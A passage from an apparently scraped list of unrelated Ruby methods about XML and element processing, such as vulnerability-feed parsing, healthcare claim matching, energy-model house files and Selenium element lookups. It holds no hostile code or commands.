@vals[\"vuln:reference\"]\n\t\t\t\t\t\t}\n\t\t\t\t\t\t@reference.save\n\t\t\t\tend\n\t\t\tend", "def parameters(element=node)\n result = []\n element.elements.each do |e|\n if (p = e.attributes['param'])\n param_name = p == \"&true\" ? e.name : p\n result << [param_name, parameters(e)]\n else\n result.concat(parameters(e))\n end\n end\n result\n end", "def parse_elements(element_hash)\n replace_identifiers(element_hash, /SUBLINEID/, @subline_identifier.to_s)\n replace_identifiers(element_hash, /SUBLINENUM/, @subline_number.to_s)\n replace_identifiers(element_hash, /LINEID/, line_identifier.to_s)\n replace_identifiers(element_hash, /LINENUM/, @line_number.to_s)\n end", "def perform_ending_tasks(element)\n if @config.include? element\n process_data(@attributes)\n @current_parent_element = []\n @attributes = []\n end\n if element == \"DataValue\"\n @data_value_identifier = false\n end\n if element == \"RemarkCode\"\n @remark_code_identifier = false\n end\n if @remark_code_grid_identifier and element == \"Grid\"\n process_remark_codes\n end\n if element == \"Batch\"\n @job.update_attributes(:ocr_status => \"SUCCESS\", :job_status => \"NEW\")\n end\n if element == \"ClaimRecord\"\n JobActivityLog.create_activity({:job_id => @job.id, :eob_id => @insurance_payment_eob.id, :activity => 'MPI Search Started', :start_time => Time.now, :eob_type_id => 1})\n facility_id = @facility.id if @facility.mpi_search_type.eql?(\"FACILITY\")\n facility_group = @facility.details[:facility_ids]\n client_id = @facility.client.id if @facility.mpi_search_type.eql?(\"CLIENT\")\n account_number = ClaimInformation.replace_patient_account_number_prefix(@facility.sitecode, @insurance_payment_eob.patient_account_number)\n @insurance_payment_eob.update_attribute(:patient_account_number, account_number)\n patient_last_name = @insurance_payment_eob.patient_last_name\n patient_first_name = @insurance_payment_eob.patient_first_name\n #date_of_service_from = @insurance_payment_eob.service_payment_eobs.first.date_of_service_from\n insured_id = @insurance_payment_eob.subscriber_identification_code\n total_charges = @insurance_payment_eob.total_submitted_charge_for_claim\n @mpi_results = ClaimInformation.mpi_search_for_sphinx(facility_id, client_id, account_number, patient_last_name, patient_first_name, nil, insured_id, total_charges, nil ,nil,nil,nil,nil,facility_group,nil)\n associate = false\n unless @mpi_results.empty?\n JobActivityLog.create_activity({:job_id => @job.id, :eob_id => @insurance_payment_eob.id, :activity => 'MPI Match Found', :start_time => Time.now, :eob_type_id => 1})\n associate = ClaimInformation.compare_and_associate_claim_and_eob(@mpi_results.first.id, @insurance_payment_eob.id)\n end\n if associate\n JobActivityLog.create_activity({:job_id => @job.id, :eob_id => @insurance_payment_eob.id, :activity => 'MPI Match Used', :start_time => Time.now, :eob_type_id => 1})\n MpiStatisticsReport.create_mpi_stat_report({:batch_id => @batch.id, :mpi_status => 'Success', :start_time => Time.now, :eob_id => @insurance_payment_eob.id })\n else\n JobActivityLog.create_activity({:job_id => @job.id, :eob_id => @insurance_payment_eob.id, :activity => 'MPI Failed', :start_time => Time.now, :eob_type_id => 1})\n MpiStatisticsReport.create_mpi_stat_report({:batch_id => @batch.id, :mpi_status => 'Failure', :start_time => Time.now, :eob_id => @insurance_payment_eob.id })\n end\n end\n end", "def parseElement(elem)\n throw \"No name attribute for: #{elem}\" if not elem.attributes.has_key?(\"name\")\n name = elem.attributes[\"name\"]\n throw \"Element #{name} has already been defined\" if @elements.has_key?(name)\n @elements[name]=Array.new\n subElem = elem.elements[\"xs:complexType\"]\n\n if not subElem then\n throw \"Unknown top level element #{name} as no subelem complexType or attribute type\" if not elem.attributes.has_key?(\"type\")\n print \"#{name} has type \", elem.attributes[\"type\"], \"\\n\" if @verbose\n throw \"Other unhandled elements for #{name}: #{elem}\" if elem.elements.size > 0\n return @elements[name].push(elem.attributes[\"type\"])\n #return cppCode(mapXMLToCpp(elem.attributes[\"type\"]), name)\n end\n\n subElem.elements.each(){|e|\n case e.name\n when \"attribute\"\n @elements[name].push(parseAttribute(e, name))\n #next\n when \"sequence\"\n\n #Sequence really requires parsing of contraints and for netconf is just\n #a navigation and encapsulation thing and cannot really generate any c++\n #structure. In fact this is true of most elements except interface\n #perhaps where it will matter.\n next if @skips.include?(name)\n parseSequence(e, name)\n when \"attributeGroup\"\n parseAttributeGroups(e, name)\n when \"choice\"\n puts \"Todo choice use by unused element #{name}\"\n when \"simpleContent\"\n parseSimpleContent(e, name)\n else\n throw \"Unknown complexType structure encountered: #{e.name} for #{name} element\"\n end\n }\n\n end", "def recursiveTreeTraversal(element)\n begin\n requirementsTree = findRequirementsTree(element)\n unless requirementsTree == nil\n checkForDuplicateRoots(requirementsTree)\n end\n for child in element.getOwnedElement()\n recursiveTreeTraversal(child)\n end\n rescue SystemStackError\n $logger.log(\"Recursive Issue1: \" + element.getName())\n end\nend", "def massage_param_elements!(params)\n elements = params[:elements]\n params.delete(:elements)\n elements.each{|element|\n params[element.to_sym] = element\n }\n end", "def start_element(element, attributes = [])\n\t\t\t\t@tag = element\n\t\t\t\t@vals[@tag] = \"\"\n\n\t\t\t\tif !@valid_elements.include?(element)\n\t\t\t\t\tputs \"New XML element detected: #{element}. Please report this to #{Kekkan::EMAIL}\"\n\t\t\t\tend\n\n\t\t\t\tcase element\n\t\t\t\t\twhen \"entry\"\n\t\t\t\t\t\t@entry = Kekkan::Models::Entry.create\n\t\t\t\t\t\t@entry.save\n\n\t\t\t\t\twhen \"vuln:cvss\"\n\t\t\t\t\t\t@cvss = @entry.cvsses.create\n\t\t\t\t\t\t@cvss.save\n\n\t\t\t\t\twhen \"vuln:cwe\"\n\t\t\t\t\t\t@entry.attributes = { :cwe => Hash[attributes][\"id\"] }\n\t\t\t\t\t\t@entry.save\n\n\t\t\t\t\twhen \"vuln:references\"\n\t\t\t\t\t\t@reference = @entry.references.create\n\t\t\t\t\t\t@reference.attributes = {\n\t\t\t\t\t\t\t:ref_type => Hash[attributes][\"reference_type\"]\n\t\t\t\t\t\t}\n\t\t\t\t\t\t@reference.save\n\n\t\t\t\t\twhen \"vuln:reference\"\n\t\t\t\t\t\t@reference.attributes = {\n\t\t\t\t\t\t\t:href => Hash[attributes][\"href\"],\n\t\t\t\t\t\t\t:language => Hash[attributes][\"xml:lang\"]\n\t\t\t\t\t\t}\n\t\t\t\t\t\t@reference.save\n\n\t\t\t\t\twhen \"vuln:assessment_check \"\n\t\t\t\t\t\t@ass = @entry.assessment_check.create\n\t\t\t\t\t\t@ass.attributes = {\n\t\t\t\t\t\t\t:name => Hash[attributes][\"name\"],\n\t\t\t\t\t\t\t:href => Hash[attributes][\"href\"],\n\t\t\t\t\t\t\t:system => Hash[attributes][\"system\"]\n\t\t\t\t\t\t}\n\t\t\t\t\t\t@entry.save\n\n\t\t\t\t\twhen \"vuln:definition\"\n\t\t\t\t\t\t@scanner = @entry.scanners.create\n\t\t\t\t\t\t@scanner.attributes = {\n\t\t\t\t\t\t\t:name => Hash[attributes][\"name\"],\n\t\t\t\t\t\t\t:href => Hash[attributes][\"href\"],\n\t\t\t\t\t\t\t:system => Hash[attributes][\"system\"]\n\t\t\t\t\t\t}\n\t\t\t\t\t\t@scanner.save\n\t\t\t\tend\n\t\t\tend", "def process_child(element)\n if element.has_elements?\n xml_processor_helper(element)\n end\nend", "def on_end_element(element)\n\t\t\t\t\t@tag = nil\n\t\t\t\t\tcase element\n\t\t\t\t\t\twhen \"device\"\n\t\t\t\t\t\t\t@in_device = false\n\t\t\t\t\t\twhen \"description\"\n\t\t\t\t\t\t\tif @in_device && @in_fingerprint\n\t\t\t\t\t\t\t\t@rh.attributes = { VALID_FINGERPRINTS[element] => @vals[element].gsub(\"\\n\", \",\") } if VALID_FINGERPRINTS.key?(element)\n\t\t\t\t\t\t\t\t@rh.save\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\twhen \"fingerprint\"\n\t\t\t\t\t\t\t@in_fingerprint = false\n\t\t\t\t\tend\n\t\t\t\tend", "def within(element)\n element = remove_command(:within, element)\n type, pattern = element.split(/,/, 2)\n start, finish = WITHIN[type.to_sym].chars\n [escaped(start), process_element(pattern), escaped(finish)].join\n end", "def parse_element(element)\n itemscope = element.attribute('itemscope')\n itemprop = element.attribute('itemprop')\n internal_elements = extract_elements(element)\n add_itemprop(element) if itemprop || ItempropParser::LINK_ELEMENTS.include?(element.name) || submit_button_include?(element)\n parse_elements(internal_elements) if internal_elements && !itemscope\n end", "def createHRV( elements )\n locationText = \"HouseFile/House/Ventilation/WholeHouseVentilatorList\"\n elements[locationText].add_element(\"Hrv\")\n locationText = \"HouseFile/House/Ventilation/WholeHouseVentilatorList/Hrv\"\n elements[locationText].attributes[\"supplyFlowrate\"] = \"60\"\n elements[locationText].attributes[\"exhaustFlowrate\"] = \"60\"\n elements[locationText].attributes[\"fanPower1\"] = \"123.7\"\n elements[locationText].attributes[\"isDefaultFanpower\"] = \"true\"\n elements[locationText].attributes[\"isEnergyStar\"] = \"false\"\n elements[locationText].attributes[\"isHomeVentilatingInstituteCertified\"] = \"false\"\n elements[locationText].attributes[\"isSupplemental\"] = \"false\"\n elements[locationText].attributes[\"temperatureCondition1\"] = \"0\"\n elements[locationText].attributes[\"temperatureCondition2\"] = \"-25\"\n elements[locationText].attributes[\"fanPower2\"] = \"145.6\"\n elements[locationText].attributes[\"efficiency1\"] = \"64\"\n elements[locationText].attributes[\"efficiency2\"] = \"64\"\n elements[locationText].attributes[\"preheaterCapacity\"] = \"0\"\n elements[locationText].attributes[\"lowTempVentReduction\"] = \"0\"\n elements[locationText].attributes[\"coolingEfficiency\"] = \"25\"\n elements[locationText].add_element(\"EquipmentInformation\")\n elements[locationText].add_element(\"VentilatorType\")\n\n locationText = \"HouseFile/House/Ventilation/WholeHouseVentilatorList/Hrv/VentilatorType\"\n elements[locationText].attributes[\"code\"] = \"1\" # HRV\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n\n locationText = \"HouseFile/House/Ventilation/WholeHouseVentilatorList/Hrv\"\n elements[locationText].add_element(\"ColdAirDucts\")\n locationText = \"HouseFile/House/Ventilation/WholeHouseVentilatorList/Hrv/ColdAirDucts\"\n elements[locationText].add_element(\"Supply\")\n locationText = \"HouseFile/House/Ventilation/WholeHouseVentilatorList/Hrv/ColdAirDucts/Supply\"\n elements[locationText].attributes[\"length\"] = \"1.5\"\n elements[locationText].attributes[\"diameter\"] = \"152.4\"\n elements[locationText].attributes[\"insulation\"] = \"0.7\"\n elements[locationText].add_element(\"Location\")\n locationText = \"HouseFile/House/Ventilation/WholeHouseVentilatorList/Hrv/ColdAirDucts/Supply/Location\"\n elements[locationText].attributes[\"code\"] = \"4\" # Main Floor\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n locationText = \"HouseFile/House/Ventilation/WholeHouseVentilatorList/Hrv/ColdAirDucts/Supply\"\n elements[locationText].add_element(\"Type\")\n locationText = \"HouseFile/House/Ventilation/WholeHouseVentilatorList/Hrv/ColdAirDucts/Supply/Type\"\n elements[locationText].attributes[\"code\"] = \"1\" # Flexible\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n locationText = \"HouseFile/House/Ventilation/WholeHouseVentilatorList/Hrv/ColdAirDucts/Supply\"\n elements[locationText].add_element(\"Sealing\")\n locationText = \"HouseFile/House/Ventilation/WholeHouseVentilatorList/Hrv/ColdAirDucts/Supply/Sealing\"\n elements[locationText].attributes[\"code\"] = \"2\" # Sealed\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n\n locationText = \"HouseFile/House/Ventilation/WholeHouseVentilatorList/Hrv/ColdAirDucts\"\n elements[locationText].add_element(\"Exhaust\")\n locationText = \"HouseFile/House/Ventilation/WholeHouseVentilatorList/Hrv/ColdAirDucts/Exhaust\"\n elements[locationText].attributes[\"length\"] = \"1.5\"\n elements[locationText].attributes[\"diameter\"] = \"152.4\"\n elements[locationText].attributes[\"insulation\"] = \"0.7\"\n elements[locationText].add_element(\"Location\")\n locationText = \"HouseFile/House/Ventilation/WholeHouseVentilatorList/Hrv/ColdAirDucts/Exhaust/Location\"\n elements[locationText].attributes[\"code\"] = \"4\" # Main Floor\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n locationText = \"HouseFile/House/Ventilation/WholeHouseVentilatorList/Hrv/ColdAirDucts/Exhaust\"\n elements[locationText].add_element(\"Type\")\n locationText = \"HouseFile/House/Ventilation/WholeHouseVentilatorList/Hrv/ColdAirDucts/Exhaust/Type\"\n elements[locationText].attributes[\"code\"] = \"1\" # Flexible\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n locationText = \"HouseFile/House/Ventilation/WholeHouseVentilatorList/Hrv/ColdAirDucts/Exhaust\"\n elements[locationText].add_element(\"Sealing\")\n locationText = \"HouseFile/House/Ventilation/WholeHouseVentilatorList/Hrv/ColdAirDucts/Exhaust/Sealing\"\n elements[locationText].attributes[\"code\"] = \"2\" # Sealed\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\nend", "def filterElements(elements)\n\t\tfiles = []\n\t\tvobs.each do |vob|\n\t\t\tfiles.merge!(elements.filterByVOB(vob))\n\t\tend\n\t\treturn ClearCASE::Elements.new(files)\n\tend", "def element=(_arg0); end", "def visit(element, operation)\n return unless is_valid_inherit_element?(element)\n\n if element.has_children_elements?\n element.get_children_elements.each do |child|\n visit(child, operation)\n end\n elsif is_valid_element?(element)\n operation.call(element)\n end\n end", "def get_children(element)\n results = []\n return children if element.nil? or element.empty?\n\n matching_spec_elements = @@spec.to_a.select { |v| v[0].upcase.index(element.upcase) == 0 }\n element_keys = matching_spec_elements.map { |s| s[0] }\n #puts \"Expect to find: #{element_keys}\"\n\n begin\n xpath = \"//#{element}\"\n nodes = xml_doc.xpath(xpath)\n #puts \"cluster count: #{nodes.count}\" if element == 'E04'\n\n nodes.each do |node|\n children = {}\n p = Nemsis::Parser.new(node.to_s)\n element_keys.each do |key|\n value = p.parse_element(key)\n value ||= ''\n #puts \"\\t#{key}: '#{value}'\"\n children[key] = value\n end\n results << children\n end\n rescue => err\n puts \"Error in get_children(): xpath [#{xpath}]: #{err}\"\n end\n\n results\n end", "def process_element(node)\n\n # Generate classes for nested sub-elements\n\n subvars = []\n node.elements.each do |elem|\n if (elem.name != 'annotation')\n subvars << [ elem.name, process_element(elem) ]\n end\n end\n\n # Create this element\n\n $count += 1\n var = \"v#{$count}\"\n\n puts \" #{var} = #{$prefix}::#{$prefix}_#{node.name}.new()\"\n\n node.attributes.each_attribute do |attr|\n puts \" #{var}.#{attr.name} = \\'#{attr.value}\\'\"\n end\n subvars.each do |subvar|\n name = subvar[0]\n value = subvar[1]\n puts \" #{var} << (#{value}) # #{name}\"\n end\n\n puts\n\n var\nend", "def invoke(element)\n execute(:invoke, element)\n end", "def parse_element(element, fields)\n # Handle properties in a special way, for better rendering and management\n properties = fields.delete('Properties')\n parse_properties(element, properties) if properties\n\n # look at the remaining fields, grabbing each one that isn't a simple string and capture them as child elements\n fields.each_pair do |field_name, field_val|\n if field_name.match(FUNCTION_REGEX)\n extracted = fields.delete(field_name) # remove the entry so that we are left with only entries that we want to treat as element fields\n nested = CFDoc::Model::Function.new(field_name)\n parse_function(nested, field_val)\n element << nested unless nested.nil?\n elsif field_name.match(REF_REGEX)\n ref = CFDoc::Model::Ref.new(field_val)\n element << ref\n elsif field_name.match(DESCRIPTION_REGEX) and element.metadata? # only process this if it is part of a Metadata element\n fields.delete(field_name)\n desc = CFDoc::Model::Description.new(field_name, field_val)\n element << desc\n elsif field_name.match(PLATFORM_REGEX) and element.metadata? # only process this if it is part of a Metadata element\n fields.delete(field_name)\n vendor = CFDoc::Model::Platform.new(field_name, field_val)\n element << vendor\n elsif field_name.match(METADATA_REGEX)\n metadata = CFDoc::Model::Metadata.new(field_name)\n parse_element(metadata, field_val)\n element << metadata\n elsif field_val.kind_of?(Array)\n # don't do anything - it will be captured as a field whose value is an array\n elsif field_val.kind_of?(Hash)\n extracted = fields.delete(field_name) # remove the entry so that we are left with only entries that we want to treat as element fields\n nested = CFDoc::Model::Element.new(field_name)\n parse_element(nested, extracted)\n element << nested unless nested.nil?\n end\n end\n\n element.fields = fields\n element\n end", "def populate_properties_from(element)\n self.class.properties.each do |p|\n if element.has_element?(p)\n val = element.element(p).value\n unless val.nil? \n val = val.to_s.to_created_time if self.class.timestamps.include? p\n val = val.to_s.strip_html if p.to_s == 'source' && !val.to_s.empty?\n unless block_given? && p.to_s == 'text'\n val = HttpUtility.html_decode val if p.to_s == 'text'\n self.send(\"#{p}=\".to_sym, val) \n else\n yield val\n end\n end\n end\n end\n end", "def apply anElement\r\n unless anElement \r\n return\r\n end\r\n anElement.each {|e| \r\n unless @abort\r\n handle(e)\r\n yield if block_given?\r\n end }\r\n end", "def handle anElement\r\n if anElement.kind_of? REXML::Text\r\n self.handleTextElement(anElement) \r\n elsif anElement.kind_of? REXML::Element\r\n self.handleElement anElement \r\n elsif anElement.kind_of? REXML::Instruction\r\n self.process_instruction anElement\r\n else\r\n return #ignore comments and processing instructions\r\n end\r\n end", "def visitXParameter(elem, data)\r\n @@log.debug(\"XmlVisitor::visitXParameter\")\r\n @@log.debug(elem.inspect)\r\n\r\n elem.each_element do |child|\r\n data = visit(child, data)\r\n end\r\n\r\n return data\r\n end", "def visitArgs(elem, data)\r\n @@log.debug(\"XmlVisitor::visitArgs\")\r\n @@log.debug(elem.inspect)\r\n\r\n elem.each_element do |child|\r\n data = visit(child, data)\r\n end\r\n\r\n return data\r\n end", "def initialize_from_element!\n end", "def parse_el(el, parent_numbers = [])\n\n # get element subtype from $subtypes\n el_type = el.name\n binding.pry if el_type.nil?\n return nil if el_type.nil?\n\n begin\n num = el.children.first.attributes['value'].text\n rescue\n binding.pry\n end\n # binding.pry if num.nil? || num == \"\"\n return nil if num.nil?\n\n # not sure if this will still have previous elements on recurse\n # so if I add a paragraph_number once, will it still be there on recurse\n # parent numbers can't do path, unless it's an array\n\n if !parent_numbers.find_index{ |n| n.keys.first.to_s == \"#{el_type}_number\" }.nil?\n # binding.pry\n i = parent_numbers.find_index{ |n| n.keys.first.to_s == \"#{el_type}_number\" }\n parent_numbers[i] = { \"#{el_type}_number\": num } unless num.nil?\n # binding.pry\n else\n # binding.pry\n parent_numbers << { \"#{el_type}_number\": num } unless num.nil?\n # binding.pry\n end\n binding.pry if parent_numbers.size > 10\n\n # identifier is path supplied by uscode\n begin\n identifier = el.attributes['identifier']\n identifier = identifier.value unless identifier.nil?\n rescue\n binding.pry\n end\n\n # path is hierarchy of element types built from parent_numbers\n path = build_path_from_parent_numbers(parent_numbers)\n\n heading = el.css('heading').first\n heading = heading.text.strip unless heading.nil?\n\n # chapeaus will be in span in div\n chapeau = el.css('chapeau').first if el_type != 'section'\n chapeau = chapeau.text.strip unless chapeau.nil?\n\n continuation = el.css('continuation').first if el_type != 'section'\n continuation = continuation.text.strip unless continuation.nil?\n\n # need to verify at bottom most el, and if not chapeau\n el_text = el.css('content').first\n el_text = el_text.text.strip unless el_text.nil? || el_text == \"\"\n\n # create a new node of the subtype\n # klass = el_type.titleize.constantize\n n = Node.find_by(identifier: identifier, path: path, type: el_type, num: num, title_number: parent_numbers.first[:title_number])\n\n if !n.nil?\n puts \"Node already exists, skipping\".colorize(:red)\n return nil\n end\n\n klass = Node.new({\n type: el_type,\n num: num,\n parent_numbers: parent_numbers,\n identifier: identifier,\n path: path,\n heading: heading,\n chapeau: chapeau,\n continuation: continuation,\n text: el_text,\n title_number: parent_numbers.first[:title_number]\n })\n if klass.save!\n puts \"Node created #{path} at #{DateTime.now.in_time_zone(\"Eastern Time (US & Canada)\")} for Title #{parent_numbers.first[:title_number]}\".colorize(:green)\n end\n\n # add the subtype to a parent subtype\n # sections have no parents only children\n if el_type != 'section'\n parent = Node.find_by(path: get_base_path(parent_numbers)) # need up-one-level path\n parent.children << klass\n end\n\n el.children.each do |child|\n child_name = child.name\n next if child_name.nil? || child_name.blank?\n if $subtypes.any? { |t| child_name.include?(t) } # is the child a subtype?\n parse_el(child, parent_numbers.dup) # use .dup to remove a reference\n end\n end\n end", "def update\n @element = Element.find(params[:id])\n respond_to do |format|\n element_params = params[:element]\n association_params = {}\n element_params.keys.select{|key| key.include? 'associations'}.each{|key| association_params[key] = element_params.delete(key)}\n if @element.update_attributes(element_params)\n association_params.each_pair do |association_key, associations_param|\n associations = @element.send(association_key)\n associated_category_ids = associations.collect(&:category_id)\n category_ids_to_be_associated = !associations_param.nil? && !associations_param[:category_ids].blank? ? associations_param[:category_ids].collect(&:to_i) : []\n root_id = !associations_param.nil? && !associations_param[:root_id].blank? ? associations_param[:root_id] : nil\n (associated_category_ids - category_ids_to_be_associated).each{|c_id| associations.all(:conditions => {:category_id => c_id}).each(&:destroy)}\n (category_ids_to_be_associated - associated_category_ids).each{|c_id| associations.create :category_id => c_id, :root_id => root_id.blank? ? Category.find(c_id).root.id : root_id}\n end\n flash[:notice] = 'Element was successfully updated.'\n format.html { redirect_to elements_url }\n format.xml { head :ok }\n else\n @root_category = Category.find(272)\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @element.errors, :status => :unprocessable_entity }\n end\n end\n end", "def visitArgs(elem, data)\r\n @@log.debug(\"XmlRuleVisitor::visitArgs\")\r\n @@log.debug(elem.inspect)\r\n\r\n argsData = ''\r\n elem.each_element do |child|\r\n argsData = visit(child, argsData)\r\n end\r\n\r\n output = \"( #{argsData} )\"\r\n data += output\r\n return data\r\n end", "def process_params(xml_params_item, module_item, method_name)\n params = []\n\n param_index = 1\n xml_params_item.elements.each(\"PARAM\") do |xml_param|\n if xml_param.parent == xml_params_item\n param = process_param(xml_param, 'param'+ param_index.to_s, module_item, method_name, param_index)\n param_index = param_index + 1\n params << param\n end\n end\n\n return params\n end", "def visitPPM(elem, data)\r\n @@log.debug(\"XmlVisitor::visitPPM\")\r\n @@log.debug(elem.inspect)\r\n\r\n elem.each_element do |child|\r\n data = visit(child, data)\r\n end\r\n\r\n return data\r\n end", "def element=(element); end", "def find_candidates(elements)\n\n candidates = []\n\n # run DFS to check each element\n Helper.dfs(elements) do |element|\n # only add matching types (if type is :element thats all elements)\n if element.type == @type || @type == :element\n candidate = ValidationItem.new(self)\n candidate.add_valid_element(element)\n candidates << candidate\n end\n end\n\n return candidates\n end", "def wait_for_element(element)\n self.send(element).wait_until_present(@ole.explicit_wait)\n end", "def handleElement anElement\r\n handler_method = self.method_from_element anElement\r\n if self.respond_to? handler_method\r\n if log \r\n puts \"#{self.class} - sending:#{handler_method}\"\r\n end\r\n self.send(handler_method, anElement)\r\n else\r\n default_handler(anElement) \r\n end\r\n end", "def find_elements(element_name, response)\n response.body.xpath(\".//x:#{element_name}\", 'x' => response.body.namespace.href)\n end", "def checkCreatePV( elements )\n if ( elements[\"HouseFile/House/Generation/PhotovoltaicSystems\"] == nil )\n locationText = \"HouseFile/House/Generation\"\n elements[locationText].add_element(\"PhotovoltaicSystems\")\n locationText = \"HouseFile/House/Generation/PhotovoltaicSystems\"\n elements[locationText].add_element(\"System\")\n locationText = \"HouseFile/House/Generation/PhotovoltaicSystems/System\"\n elements[locationText].attributes[\"rank\"] = \"1\"\n elements[locationText].add_element(\"EquipmentInformation\")\n elements[locationText].add_element(\"Array\")\n locationText = \"HouseFile/House/Generation/PhotovoltaicSystems/System/Array\"\n elements[locationText].attributes[\"area\"] = \"50\"\n elements[locationText].attributes[\"slope\"] = \"42\"\n elements[locationText].attributes[\"azimuth\"] = \"0\"\n\n locationText = \"HouseFile/House/Generation/PhotovoltaicSystems/System\"\n elements[locationText].add_element(\"Efficiency\")\n locationText = \"HouseFile/House/Generation/PhotovoltaicSystems/System/Efficiency\"\n elements[locationText].attributes[\"miscellaneousLosses\"] = \"3\"\n elements[locationText].attributes[\"otherPowerLosses\"] = \"1\"\n elements[locationText].attributes[\"inverterEfficiency\"] = \"90\"\n elements[locationText].attributes[\"gridAbsorptionRate\"] = \"90\"\n\n locationText = \"HouseFile/House/Generation/PhotovoltaicSystems/System\"\n elements[locationText].add_element(\"Module\")\n locationText = \"HouseFile/House/Generation/PhotovoltaicSystems/System/Module\"\n elements[locationText].attributes[\"efficiency\"] = \"13\"\n elements[locationText].attributes[\"cellTemperature\"] = \"45\"\n elements[locationText].attributes[\"coefficientOfEfficiency\"] = \"0.4\"\n elements[locationText].add_element(\"Type\")\n locationText = \"HouseFile/House/Generation/PhotovoltaicSystems/System/Module/Type\"\n elements[locationText].attributes[\"code\"] = \"1\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n end\nend", "def element=( element )\n @element = element\n self\n end", "def visitArg(elem, data)\r\n @@log.debug(\"XmlVisitor::visitArg\")\r\n @@log.debug(elem.inspect)\r\n\r\n elem.each_element do |child|\r\n data = visit(child, data)\r\n end\r\n\r\n return data\r\n end", "def handle_element(line)\r\n pair = line.split(':', 2) # avoid problems when summary contains ':'\r\n name = pair[0]\r\n value = pair[1]\r\n handler_method = @method_prefix + name.split(';')[0].tr('-', '_').downcase\r\n if self.respond_to? handler_method\r\n self.send(handler_method, value.chomp)\r\n end\r\n end", "def update_class_list_variable(element)\n element.children.each do |child_elem|\n elem_name = child_elem.name.to_sym\n next unless self.class.constants.include?(elem_name)\n\n # Ex. Ekispert::DataVersion.new(child_elem)\n sub_instance = self.class.const_get(elem_name).new(child_elem)\n class_list_name = \"#{snakecase(elem_name)}_list\"\n # Ex. sub_instance.version_list << sub_instance\n self.send(class_list_name) << sub_instance\n end\n end", "def els(element_name)\n element_reader = get_locator(element_name)\n begin\n if element_reader.length > 0\n element_reader.each do |k,v|\n if(k=='class' || k=='css' || k=='id' || k=='xpath' || k=='partial_link_text' || k=='tag_name')\n begin\n $elems = $driver.find_elements(k.to_sym,v.to_s)\n $LOG.info \"Elements found \\n #{element_name} : #{k} => #{v}\"\n rescue Exception => e\n $LOG.error \"Element not found \"\n $LOG.error \"#{element_name} : #{k} => #{v}\"\n $LOG.error \"Error message :: \" + e.message\n raise \"Element not found \\n #{element_name} : #{k} => #{v} \\n Error Message :: \" + e.message\n end\n $elems\n end\n end\n else\n $LOG.error \"Element not present in object repository\"\n raise \"Element not present in object repository\"\n end\n $elems\n rescue Exception => e\n $LOG.error \"Error in finding the element :: \" + e.message\n raise \"Error in finding the element :: \" + e.message\n end\n end", "def set_inspection_element\n @inspection = Inspection.find_by_object_key(params[:inspection_id])\n @element = Element.find_by_object_key(params[:element_id])\n end", "def on_start_element(element, attributes)\n case element\n\n when \"Result\"\n attributes.each do |attribute, value|\n @response.response_attributes[attribute] = value;\n end\n\n when \"GlobalVars\"\n attributes.each do |attribute, value|\n @response.params[attribute] = value;\n end\n\n when \"DataTable\"\n @data_table = DataTable.new;\n @data_table.name = attributes[\"Name\"];\n @data_table.set_table_headers(attributes[\"Headers\"]);\n\n attributes.each do |attribute, value|\n if(\"Name\" != attribute && \"Headers\" != attribute)\n @data_table.set_table_param(attribute, value);\n end\n end\n\n @response.tables[@data_table.name] = @data_table;\n\n when \"Row\"\n @is_row = true;\n\n end\n end", "def element; end", "def element; end", "def element; end", "def element; end", "def elements; end", "def elements; end", "def elements; end", "def on_start_element_ns(element, attributes, prefix, uri, namespaces)\n\t\telement.downcase!\n\t\tputs \"Start \"+element.downcase if Debug > 2\n\n\t\t# NOTE: This parsing relies on the simple two-level structure \n\t\t# of VIP data.\n\t\tif (@stack.size == 0 && TopElements.include?(element)) then\n\t\t if element == 'source'\n\t\t obj = Source.new\n\t\t @source = obj\n\t\t else\n\t\t raise if @source.nil?\n\t\t obj = element.camelcase.constantize.new\n\t\t obj.source = @source\n\t\t end\n\n\t\t #store attributes inside start tag\n\t\t attributes.each {|k,v| \n\t\t\t puts k if Debug > 4\n\t\t\t add_xml_attribute(obj,k,v)\n\t\t }\n\t\t @stack.push(obj)\n\n\t\telsif (@stack.size == 1) then # && Innerelements.include?(element)) then\n\t\t\t @stack.push(String.new(element))\n\t\t\t @stack.push(String.new())\n\t\t\t @store_chars = true\n\t\telse\n\t\t\tputs \"Ignoring element: \"+element if Debug > 0\n\t\tend\n\n\tend", "def velement_params\n params.require(:velement).permit(:name)\n end", "def elements\n @elements ||= context\n .private_methods\n .grep(/\\A(?!wait_)\\w+_element\\z/)\n .map { |el| Meta::Element.new(el.to_s.gsub('_element', ''), context) }\n end", "def actualizarElementosContenido\n\n\n contenido_id = params[:contenido][:id]\n \n # Se borran elementos originales del contenido\n @elementos_asociados = Elemento.find(:all, :conditions => \"contenido_id = #{params[:contenido][:id]}\")\n \n for elemento in @elementos_asociados\n elemento.destroy\n end\n \n\n @elementos = params[:elemento]\n logger.debug(\"Esta es la cantidad de elementos para grabar nuevos: #{@elementos.size()}\" )\n if (!@elementos.nil? && @elementos.size() > 0 )\n \n # Guardando los nuevos elementos\n @elementos.each do |elemento|\n\n campos = elemento[1] # 1 corresponde al hash de campos / 0 es el id del elemento actual\n \n elemento_nuevo = Elemento.new()\n elemento_nuevo.id = campos[:id]\n elemento_nuevo.ubicacion = campos[:ubicacion] \n elemento_nuevo.contenido_id = contenido_id\n elemento_nuevo.valor = campos[:valor]\n elemento_nuevo.tipo_id = campos[:tipo_id]\n \n # Salvo\n elemento_nuevo.save!\n \n end\n end \n end", "def each_element()\n yield( @element )\n end", "def read_raw_element(element, x, doc_element, indent, j)\n\n method_name = x.name.gsub(/[:-]/,'_').to_sym\n puts ('method_name: ' + method_name.inspect).debug if @debug\n\n if @xsl_methods.include? method_name then\n\n if method_name == :'xsl_apply_templates' then\n #doc_element = doc_element.elements.last\n end\n\n method(method_name).call(element, x, doc_element, indent, j)\n\n else\n\n previous_indent = indent\n la = x.name\n new_indent = indent + 1 if @indent == true\n\n new_element = x.clone\n\n new_element.attributes.each do |k,raw_v|\n\n v = raw_v.is_a?(Array) ? raw_v.join(' ') : raw_v\n\n puts 'v: ' + 